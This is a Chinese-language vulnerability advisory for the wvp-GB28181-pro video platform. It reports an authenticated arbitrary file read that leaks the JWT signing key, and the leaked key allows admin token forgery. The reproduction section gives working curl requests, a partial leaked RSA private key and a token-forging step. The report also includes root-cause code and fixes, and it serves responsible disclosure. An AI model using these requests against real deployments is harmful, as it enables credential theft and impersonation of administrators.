录像记录 file_path 未做校验,导致任意文件读取与 JWT 签名私钥泄露

Author: 28HusCreated Sep 17, 2026Updated Sep 17, 2026

录像记录 file_path 未做校验,导致任意文件读取与 JWT 签名私钥泄露

概要

POST /index/hook/on_record_mp4 不需要认证,它把请求体里的 file_path 原样存进 wvp_cloud_record 表。GET /api/cloud/record/zip 随后按这条记录中的路径打开文件并把内容打包返回,从写入到读取全程没有任何校验。

于是任意一个已登录账号都能读取服务器上的任意文件。读 config/jwk.json 即可拿到 wvp 签发和校验所有 access token 所用的 RSA-4096 私钥,进而伪造任意已存在用户名的 token,包括管理员。

前提:写入侧不需要账号,但读取侧需要一个有效账号(不限角色)。这条链是「已认证的任意文件读取 + 身份伪造」,不是未认证接管。

影响版本

最新发布版 v2.7.4-20260107 里三处相关代码都在:JwtUtils.createAndPersistDefaultRsaKey()determinePersistPath() 存在、docker/wvp/wvp/application-docker.yml:139 配置了读不到的 jwkFile: classpath:xxxxxxxxxxx.jsonCloudRecordController 仍有 @GetMapping("/zip")

更早的 v2.7.4-20250709 没有密钥落盘逻辑,也没有 jwkFile 配置项,此链不成立。

成因

三处叠加。单看每一处都不算出格,合起来就是上面那条链。

1. 写侧免认证,且不校验路径

java
// src/main/java/com/genersoft/iot/vmp/media/zlm/ZLMHttpHookListener.java:312-322
@PostMapping(value = "/on_record_mp4", produces = "application/json;charset=UTF-8")
public HookResult onRecordMp4(HttpServletRequest request, @RequestBody OnRecordMp4HookParam param) {
    log.info("[ZLM HOOK] 录像完成:时长: {}, {}->{}", param.getTime_len(), param.getMediaServerId(), param.getFile_path());
    try {
        MediaServer mediaServerItem = mediaServerService.getOne(param.getMediaServerId());
        if (mediaServerItem != null) {
            MediaRecordMp4Event event = MediaRecordMp4Event.getInstance(this, param, mediaServerItem);
            event.setMediaServer(mediaServerItem);
            applicationEventPublisher.publishEvent(event);   // param.file_path 原样带下去
        }
    } catch (Exception e) { ... }

/index/hook/** 在安全配置的免认证白名单里,所以这个处理器在任何鉴权之前就会执行:

java
// src/main/java/com/genersoft/iot/vmp/conf/security/WebSecurityConfig.java:100, 119-120
defaultExcludes.add("/index/hook/**");
...
.requestMatchers(defaultExcludes.toArray(new String[0])).permitAll()
.anyRequest().authenticated()

监听器落库时也不检查:

java
// src/main/java/com/genersoft/iot/vmp/service/impl/CloudRecordServiceImpl.java:119-131
@Async
@EventListener
public void onApplicationEvent(MediaRecordMp4Event event) {
    CloudRecordItem cloudRecordItem = CloudRecordItem.getInstance(event);
    ...
    cloudRecordServiceMapper.add(cloudRecordItem);
java
// src/main/java/com/genersoft/iot/vmp/service/bean/CloudRecordItem.java:98
cloudRecordItem.setFilePath(param.getRecordInfo().getFilePath());   // 无任何校验

另外,mediaServerService.getOne() 在查不到时会回落到按配置项 media.id 构造的媒体服务器对象,所以 mediaServerItem != null 这个判断在未接入任何流媒体服务的默认部署下也能通过。随仓库提供的 Docker 配置里 media.idpolaris

2. 下载接口直接打开该路径

java
// src/main/java/com/genersoft/iot/vmp/vmanager/cloudRecord/CloudRecordController.java:427, 483-490
@GetMapping("/zip")
public void downloadZipFile(HttpServletResponse response, @RequestParam(required = false) String query, ...) {
    ...
    File file = new File(cloudRecordItem.getFilePath());
    ...
    try (FileInputStream fis = new FileInputStream(cloudRecordItem.getFilePath())) {

类级映射是 @RequestMapping("/api/cloud/record")CloudRecordController.java:51),所以完整路径是 GET /api/cloud/record/zip。它需要认证,但没有任何角色校验——全仓库没有 @PreAuthorizehasRole,角色判断只在少数控制器里手写为 if (currenRoleId != 1),这个接口不在其中。

3. 签名私钥落在可预测路径

jwkFile 指向一个读不到的 classpath 资源时,JwtUtils 会随机生成 RSA-4096 密钥对并持久化到 config/jwk.json,路径相对进程工作目录解析:

java
// src/main/java/com/genersoft/iot/vmp/conf/security/JwtUtils.java:221-223
// 若配置是classpath,保存到默认外部路径:./config/jwk.json(项目根目录下的config文件夹)
Path defaultPath = Paths.get("config", "jwk.json");
log.warn("[API AUTH] 配置的jwkFile是classpath路径(只读),默认密钥将保存到外部路径:{}",
        defaultPath.toAbsolutePath());

落盘用的是带私钥的 JWK 格式(OutputControlLevel.INCLUDE_PRIVATE),dpqdpdqqi 全在明文里。Dockerfile 里 WORKDIR /opt/apps,所以容器部署的落点是 /opt/apps/config/jwk.json

需要说明的是,「随机生成后落盘」本身不是缺陷——这恰恰是修掉硬编码密钥的标准做法。问题在于没有一并处理「谁读得到这份文件」。

复现

环境为本仓库 master 的构建产物,使用仓库自带的 Docker profile 配置,依赖 MySQL 8 与 Redis。下面两步都是普通 HTTP 请求,私钥取自第 2 步的响应体

第 1 步:未认证,让服务器记下一条指向签名私钥的记录

bash
curl -X POST 'http://<host>:18978/index/hook/on_record_mp4' \
  -H 'Content-Type: application/json' \
  -d '{"mediaServerId":"polaris","app":"rtp","stream":"poc","file_name":"x.mp4",
       "file_path":"config/jwk.json","folder":"","file_size":1,"start_time":1758100000,
       "time_len":1,"url":"","vhost":"__defaultVhost__","params":""}'
{"code":0,"msg":"success"}
HTTP 200

服务端日志与落库结果:

ZLMHttpHookListener:314   [ZLM HOOK] 录像完成:时长: 10.0, polaris->config/jwk.json
CloudRecordServiceImpl:130 [添加录像记录] rtp/test, callId: null, 内容:RecordInfo{文件路径='config/jwk.json', ...}
id | app | stream | media_server_id | file_path       | start_time
 1 | rtp | test   | polaris         | config/jwk.json | 1758100000000

第 2 步:任意已登录账号读取该文件

bash
curl -H "access-token: <任意一个改过密码的账号的 token>" \
  'http://<host>:18978/api/cloud/record/zip?app=rtp&stream=poc' -o leak.zip
HTTP 200  bytes=2603
Content-Type: application/zip

压缩包里只有一项,文件名固定为 <startTime>.mp4,与真实文件类型无关。内容:

json
{"keys":[{"kty":"RSA","kid":"3e79646c4dbc408383a9eed09f2b85ae","n":"ix6m9Y-Hz2vk2xtZitsgReejP6CFoPOxGUOuq4ebwUHKoSKLcyI1_NZiNtXbPrJ757td0xlbMaF4LtUN-v_ICEzF_5Cd4hdR-AhsXI_UVHb8XjEzZ3zkvq8xs-skjzYk9EgrA5ZgtTaGpWSEkZTOkRvaIUQyd70JdJdmB0Fjjv0GSAOE6MTgHlGF8AT_hZcDe4wyt0SQXDb59ghPtpS75WoePtuq92KSWowFE4NbzskDe1YSifppHt2wmzN0uacueMioyZTuL0UOxSxXJe3-_UEkyVY_1V04I25Vrhqf33jPikZT90Lv0Yci9Ra8mmFoZgDemzu_7t-ej6dbKLTUxpsEyF_qo1wCqO90aGCshYDBdweLZrucxurzO-gYgywvRZS8Yr-eH76GBg9G9haoSPxxmYc8Hkckn8NLomLmf7zCVZaa...

完整内容(含 dpqdpdqqi)见 evidence/leaked-jwk.json

第 3 步:用泄露的私钥伪造 token

bash
python3 tools/wvp-forge.py evidence/leaked-jwk.json admin
payload: {"jti":"gwfk2g6fPDp1f8av-edYfA","iat":1789648014,"exp":1789651614,
          "nbf":1789648014,"sub":"login","aud":"Audience","userName":"admin"}

伪造出的 token 是 938 字符,与真实 token 长度一致。

第 4 步:伪造 token 被接受,而原账号被拒

bash
# 执行读取的那个非管理员账号(自建,roleId=2),用它自己的 token:
curl -X POST '.../api/user/add?username=denied&password=...&roleId=2' -H "access-token: <非管理员 token>"
{"code":400,"msg":"用户无权限","data":null}

# 同一请求,换成伪造的 admin token:
curl -X POST '.../api/user/add?username=poc&password=...&roleId=2' -H "access-token: <伪造 token>"
{"code":0,"msg":"成功","data":null}   HTTP 200

用户确实被创建。对照实验——同样的 claims 换一把 2048 位密钥签:

bash
curl -X POST '.../api/user/add?username=ctl&password=...&roleId=2' -H "access-token: <同样 claims,另一密钥>"
{"code":401,"msg":"请登录后重新请求"}   HTTP 401

两次请求唯一的差别就是签名密钥,而密钥来自第 2 步的 HTTP 响应体。

完整脚本见 tools/atfv-e2e.sh,原始记录见 evidence/01-live-validation-http-only.txtevidence/02-poc-e2e-run.txt

影响

第一步不需要任何账号,攻击者据此决定服务器之后会交出哪个文件。第二步需要一个改过密码的账号,任意角色均可。

拿到私钥之后,攻击者可以:

  • 以任意已存在用户名通过认证,无需知道对方口令。JwtUtils.verifyToken 从 token 的 userName 声明反查数据库确定身份,所以签给谁就是谁;
  • 在口令轮换后继续有效。私钥落盘后长期不变,伪造出的 token 也与之无关;
  • 触达手写 currenRoleId != 1 判断保护的管理接口(用户、角色、API Key 管理),这是本应用仅有的权限边界。

不过需要如实说明两点:

  • 提权成立与否取决于部署形态。 出厂数据只有一个 admin 账号(default_password=TRUE);只有当部署里存在非管理员账号时,「非管理员 → 管理员」这一步才成立。是否存在这样的账号,是部署事实,从代码判断不了。本次复现中的非管理员账号是测试时自行创建的。
  • 不能绕过默认口令限制。 JwtAuthenticationFilter 会按 token 里的 userId 回查数据库default_password 取自数据库记录,伪造 token 改变不了它。

修复建议

按能真正断链的优先级排列:

  1. file_path 进入文件系统之前做校验,用 toRealPath() / normalize() 限定其必须落在录像目录内。这是根因所在。
  2. /index/hook/** 加上认证。ZLM 的 hook 协议本身带 secret 参数,wvp 已有 mediaServerItem.getSecret(),校验成本很低。
  3. 密钥落盘路径不要取进程工作目录,改为显式配置项并要求启动时存在。这一条不改变漏洞是否成立,只是降低后果。

参考

同类问题(文件访问入口 → 认证材料 → token 伪造)在其它项目里已多次出现:

  • n8n — CVE-2026-21858:未认证的文件访问读到 n8n 持久化的加密密钥,可跨实例伪造 token。
  • Nezha — CVE-2026-53519:未认证路径穿越泄露 HS256 的 jwt_secret_key,进而伪造管理员 JWT。与本例最接近的一点是:泄露那一步不需要身份。
  • Jenkins — CVE-2024-23897:CLI 任意文件读取泄露 remember-me cookie 的密钥材料,公告明确指出据此可伪造 cookie 登录。
  • Postiz — CVE-2026-19264:未认证路径穿越读取任意文件,泄露 JWT 签名密钥并得到一个不过期的管理员会话。

补充

这是我在整理一类「文件访问入口 → 认证材料 → token 伪造」的链路时发现的一个实例。报告里每一步都有对应的实测记录,如果需要我可以补充任何一步的细节,或者在本地复现一遍。

如果这里有什么写得不对或判断有偏差,也请直接指出。

Source: 648540858/wvp-GB28181-pro